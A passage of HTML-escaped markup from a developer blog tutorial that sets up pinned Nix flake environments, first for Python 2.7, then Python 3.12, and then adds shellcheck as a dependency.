&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> devShells.default = python-nixpkgs.mkShell {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> packages = [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> python-nixpkgs.python2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shellHook = &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> python --version
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> &amp;#39;&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> });
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
 &lt;a href="https://mtlynch.io/notes/nix-dev-environment/flake.nix" download class="download-raw-button">download flake.nix&lt;/a>
 &lt;/div>


&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>curl &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --show-error &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --fail &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> https://mtlynch.io/notes/nixos-dev-environment/flake.nix &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &amp;gt; flake.nix
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If you&amp;rsquo;re not familiar with Nix, the &lt;code>flake.nix&lt;/code> file looks like a lot of confusing syntax, but it&amp;rsquo;s mostly simple boilerplate. I&amp;rsquo;ll explain it in more detail &lt;a href="#finding-version-strings">below&lt;/a>.&lt;/p>
&lt;p>Finally, it&amp;rsquo;s time to spin up my Nix development environment. Note that the first time you run the command, it will take a few minutes to initialize everything, but subsequent initializations will complete in a few seconds.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># We need NIXPKGS_ALLOW_INSECURE and --impure because Python 2.7 is past end of&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># life.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#40ffff">NIXPKGS_ALLOW_INSECURE&lt;/span>=&lt;span style="color:#3677a9">1&lt;/span> nix develop --impure
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Python 2.7.18.7
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It worked! I have a Python 2.7 environment available.&lt;/p>
&lt;p>Note that I haven&amp;rsquo;t installed Python 2.7 anywhere outside of this specific Nix environment. If I open a new terminal without running &lt;code>nix develop&lt;/code>, I see the following error message that Python is not installed:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ python --version
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-bash: python: &lt;span style="color:#24909d">command&lt;/span> not found
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Back to my Python 2.7 Nix environment, let me try running a simple Python script using the evil, deprecated &lt;code>print&lt;/code> syntax that doesn&amp;rsquo;t work in Python 3:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;print &amp;#34;hello, world!&amp;#34;&amp;#39;&lt;/span> &amp;gt; main.py &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> python main.py
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>hello, world!
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Cool! I can run legacy Python 2.7 code in this environment.&lt;/p>
&lt;h2 id="finding-version-strings">Finding version strings&lt;/h2>
&lt;p>So, how does my &lt;code>flake.nix&lt;/code> file work?&lt;/p>
&lt;p>One of the first lines in the &lt;code>flake.nix&lt;/code> file declares the exact version of the Python package I want:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># 2.7.18.7 release&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> python-nixpkgs.url = &lt;span style="color:#ed9d13">&amp;#34;github:NixOS/nixpkgs/517501bcf14ae6ec47efd6a17dda0ca8e6d866f9&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The line &lt;code># 2.7.18.7 release&lt;/code> is just a comment for my own reference. Nix ignores it. The part that&amp;rsquo;s doing the heavy lifting is the &lt;code>python-nixpkgs&lt;/code> line.&lt;/p>
&lt;p>&lt;code>NixOS/nixpkgs&lt;/code> is a &lt;a href="https://github.com/NixOS/nixpkgs">GitHub repo&lt;/a>, and &lt;a href="https://github.com/NixOS/nixpkgs/tree/517501bcf14ae6ec47efd6a17dda0ca8e6d866f9">&lt;code>517501bcf14ae6ec47efd6a17dda0ca8e6d866f9&lt;/code>&lt;/a> is the version of the repo where the &lt;code>python2&lt;/code> package corresponded with Python 2.7.18.7.&lt;/p>
&lt;p>How did I know that long version string? I used &lt;a href="https://www.nixhub.io/">Nixhub&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/notes/nix-dev-environment/nixhub-landing.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/notes/nix-dev-environment/nixhub-landing_hu_648fe4d6cd3bfaa9.png 300w, https://mtlynch.io/notes/nix-dev-environment/nixhub-landing_hu_1c69d56405dc83ae.png 600w, https://mtlynch.io/notes/nix-dev-environment/nixhub-landing_hu_147b7015f990ea15.png 800w, https://mtlynch.io/notes/nix-dev-environment/nixhub-landing.png 825w'
 src="https://mtlynch.io/notes/nix-dev-environment/nixhub-landing.png" alt="Screenshot of NixHub landing page showing a search dialog" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Nixhub is a free package search service created by &lt;a href="https://www.jetpack.io">Jetpack&lt;/a>, a company that sells developer tooling on top of Nix.&lt;/p>
&lt;p>Nixhub was only released &lt;a href="https://www.jetpack.io/blog/introducing-nixhub/">three months ago&lt;/a>, and it&amp;rsquo;s made my life in Nix so much easier. If I want to find the version hash for a particular version of a package, I search it in Nixhub and find the commit ID.&lt;/p>
&lt;p>So, to find the version string for Python 2.7.18.7, I &lt;a href="https://www.nixhub.io/packages/python">searched Nixhub for &lt;code>python&lt;/code>&lt;/a> and then scrolled down the list of results for the latest available Python 2.7.x version:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/notes/nix-dev-environment/nixhub-info.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/notes/nix-dev-environment/nixhub-info_hu_a8b44fc4e0d3e237.webp 300w, https://mtlynch.io/notes/nix-dev-environment/nixhub-info_hu_7952cfbb64390b2c.webp 600w, https://mtlynch.io/notes/nix-dev-environment/nixhub-info_hu_69aa7fb79804b609.webp 800w, https://mtlynch.io/notes/nix-dev-environment/nixhub-info.webp 828w'
 src="https://mtlynch.io/notes/nix-dev-environment/nixhub-info.webp" alt="Screenshot of NixHub results showing that the human-readable version string appears first, followed by the nixpkgs version string, followed by the package name" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>NixHub allows me to translate the human-friendly version string to a nixpkgs reference and package name.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Pinning exact package versions is, honestly, &lt;a href="https://github.com/NixOS/nixpkgs/issues/9682">a huge pain&lt;/a>. I hope that Nix tooling evolves to the point where you can just specify that you want version &lt;code>2.7.18.7&lt;/code> rather than go through this roundabout dance of looking up the git commit hash that corresponds to the version you want. But for now, this is the best way I know of for
pinning versions.&lt;/p>
&lt;h2 id="understanding-the-flakenix-file">Understanding the &lt;code>flake.nix&lt;/code> file&lt;/h2>
&lt;p>Okay, I told you I&amp;rsquo;d go into more detail about the &lt;code>flake.nix&lt;/code> file I showed above.&lt;/p>
&lt;p>I&amp;rsquo;m not going to explain everything about Nix flakes because I don&amp;rsquo;t have a deep understanding myself. I&amp;rsquo;m just going to explain the minimum you need to understand to make your own dev environments. For a deeper dive into Nix flakes, see &lt;a href="https://serokell.io/blog/practical-nix-flakes">&amp;ldquo;Practical Nix Flakes.&amp;rdquo;&lt;/a>&lt;/p>
&lt;p>The &lt;code>inputs&lt;/code> section is where you put the versions of different Nix sources you want in your environment. I&amp;rsquo;m using a special syntax for github repos, but you can import from other source repositories or URLs.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> inputs = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils.url = &lt;span style="color:#ed9d13">&amp;#34;github:numtide/flake-utils&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># 2.7.18.7 release&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> python-nixpkgs.url = &lt;span style="color:#ed9d13">&amp;#34;github:NixOS/nixpkgs/517501bcf14ae6ec47efd6a17dda0ca8e6d866f9&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>devshells.default&lt;/code> defines the development environment for the Nix shell. &lt;code>packages&lt;/code> includes a list of all the packages I want available in my environment.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> devShells.default = python-nixpkgs.mkShell {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> packages = [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> python-nixpkgs.python2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>For most packages, the package name doesn&amp;rsquo;t have a version. For packages like &lt;code>htop&lt;/code> or &lt;code>vim&lt;/code>, the package name is always the same, but certain packages, like Python, have multiple versions available within the same Nixpkgs version, so you have to specify &lt;code>python2&lt;/code> as opposed to &lt;code>python&lt;/code> to avoid confusion with Python 3.&lt;/p>
&lt;p>The last relevant bit is the &lt;code>shellHook&lt;/code> section.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shellHook = &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> python --version
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> &amp;#39;&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Nix runs the commands in &lt;code>shellHook&lt;/code> just before dumping you into your shell. You can put any shell commands there.&lt;/p>
&lt;p>I like to put commands that print the versions of my dependencies so that I can easily see whether my Nix flake is working correctly.&lt;/p>
&lt;h2 id="upgrading-to-python-3">Upgrading to Python 3&lt;/h2>
&lt;p>Okay, let&amp;rsquo;s say that I&amp;rsquo;m ready to do the hard work of porting my one-line Python app from Python 2.7 to modern Python 3. I just need to update these two snippets:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># 3.12.0 release&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> python-nixpkgs.url = &lt;span style="color:#ed9d13">&amp;#34;github:NixOS/nixpkgs/e2b8feae8470705c3f331901ae057da3095cea10&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> packages = [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> python-nixpkgs.python312
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>My new Python 3 flake looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description = &lt;span style="color:#ed9d13">&amp;#34;Demo Nix dev environment&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> inputs = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils.url = &lt;span style="color:#ed9d13">&amp;#34;github:numtide/flake-utils&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># 3.12.0 release&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> python-nixpkgs.url = &lt;span style="color:#ed9d13">&amp;#34;github:NixOS/nixpkgs/e2b8feae8470705c3f331901ae057da3095cea10&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> outputs = { self, flake-utils, python-nixpkgs }@inputs :
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils.lib.eachDefaultSystem (system:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">let&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> python-nixpkgs = inputs.python-nixpkgs.legacyPackages.&lt;span style="color:#ed9d13">${&lt;/span>system&lt;span style="color:#ed9d13">}&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> devShells.default = python-nixpkgs.mkShell {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> packages = [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> python-nixpkgs.python312
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shellHook = &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> python --version
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> &amp;#39;&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> });
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I exit my original Nix shell by hitting Ctrl+D or typing &lt;code>exit&lt;/code>, and I initialize my new Python 3 environment by running:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ nix develop
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>warning: updating lock file &lt;span style="color:#ed9d13">&amp;#39;/home/mike/example/flake.lock&amp;#39;&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>• Updated input &lt;span style="color:#ed9d13">&amp;#39;python-nixpkgs&amp;#39;&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#39;github:NixOS/nixpkgs/517501bcf14ae6ec47efd6a17dda0ca8e6d866f9&amp;#39;&lt;/span> (2023-09-27)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> → &lt;span style="color:#ed9d13">&amp;#39;github:NixOS/nixpkgs/e2b8feae8470705c3f331901ae057da3095cea10&amp;#39;&lt;/span> (2023-10-03)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Python 3.12.0
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Conveniently, I can skip the &lt;code>NIXPKGS_ALLOW_INSECURE&lt;/code> options I needed for Python 2.7, as modern versions of Python are not considered insecure.&lt;/p>
&lt;p>I should now be in a Python 3 environment. To prove it, I&amp;rsquo;ll try to run my Python 2-style &lt;code>main.py&lt;/code>, and see if Python 3 appropriately screams in horror:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ python main.py
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#ed9d13">&amp;#34;/home/mike/example/main.py&amp;#34;&lt;/span>, line &lt;span style="color:#3677a9">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> print &lt;span style="color:#ed9d13">&amp;#34;hello, world!&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ^^^^^^^^^^^^^^^^^^^^^
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>SyntaxError: Missing parentheses in call to &lt;span style="color:#ed9d13">&amp;#39;print&amp;#39;&lt;/span>. Did you mean print(...)?
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Looks like Python 3 is working as intended. I&amp;rsquo;ll update my syntax for Python 3 and try again:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;print(&amp;#34;hello, world!&amp;#34;)&amp;#39;&lt;/span> &amp;gt; main.py &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> python main.py
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>hello, world!
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Everything is good again. I just updated my environment from Python 2.7 to Python 3.12 by changing a few lines of my Nix flake!&lt;/p>
&lt;h2 id="adding-a-new-dependency">Adding a new dependency&lt;/h2>
&lt;p>Okay, I showed how to update a package, but what about adding a new dependency?&lt;/p>
&lt;p>I&amp;rsquo;m going to add a new bash script that automatically runs my Python file.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>(cat &lt;span style="color:#ed9d13">&amp;lt;&amp;lt;EOF
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">#!/usr/bin/env bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">set -eux
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">readonly MAIN_SCRIPT=&amp;#34;main.py&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">python \$MAIN_SCRIPT
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">EOF&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>) &amp;gt; run.sh &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> chmod +x run.sh &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> ./run.sh
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>You should see the following output:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>+ &lt;span style="color:#24909d">readonly&lt;/span> &lt;span style="color:#40ffff">MAIN_SCRIPT&lt;/span>=main.py
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>+ &lt;span style="color:#40ffff">MAIN_SCRIPT&lt;/span>=main.py
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>+ python main.py
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>hello, world!
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I&amp;rsquo;m a weak bash developer, so static analysis tools could probably improve my &lt;code>run.sh&lt;/code> script.&lt;/p>
&lt;p>&lt;a href="https://www.shellcheck.net/">&lt;code>shellcheck&lt;/code>&lt;/a> is an excellent linter for bash scripts, and I use it anywhere I write bash code. I want to pull &lt;code>shellcheck&lt;/code> into my dev environment and get its advice about potential bash gotchas, so I update my Nix flake:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description = &lt;span style="color:#ed9d13">&amp;#34;Demo Nix dev environment&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> inputs = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils.url = &lt;span style="color:#ed9d13">&amp;#34;github:numtide/flake-utils&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># 3.12.0 release&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> python-nixpkgs.url = &lt;span style="color:#ed9d13">&amp;#34;github:NixOS/nixpkgs/e2b8feae8470705c3f331901ae057da3095cea10&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># 0.9.0 release&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shellcheck-nixpkgs.url = &lt;span style="color:#ed9d13">&amp;#34;github:NixOS/nixpkgs/8b5ab8341e33322e5b66fb46ce23d724050f6606&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> outputs = { self, flake-utils, python-nixpkgs, shellcheck-nixpkgs }@inputs :
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flake-utils.lib.eachDefaultSystem (system:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">let&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> python-nixpkgs = inputs.python-nixpkgs.legacyPackages.&lt;span style="color:#ed9d13">${&lt;/span>system&lt;span style="color:#ed9d13">}&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shellcheck-nixpkgs = inputs.shellcheck-nixpkgs.legacyPackages.&lt;span style="color:#ed9d13">${&lt;/span>system&lt;span style="color:#ed9d13">}&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> devShells.default = python-nixpkgs.mkShell {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> packages = [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> python-nixpkgs.python312
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shellcheck-nixpkgs.shellcheck
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shellHook = &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> python --version
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> echo &amp;#34;shellcheck&amp;#34; &amp;#34;$(shellcheck --version | grep &amp;#39;^version:&amp;#39;)&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> &amp;#39;&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> });
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Again, I exit my original Nix shell by hitting Ctrl+D or typing &lt;code>exit&lt;/code> and instantiate a new shell with:&lt;/p>
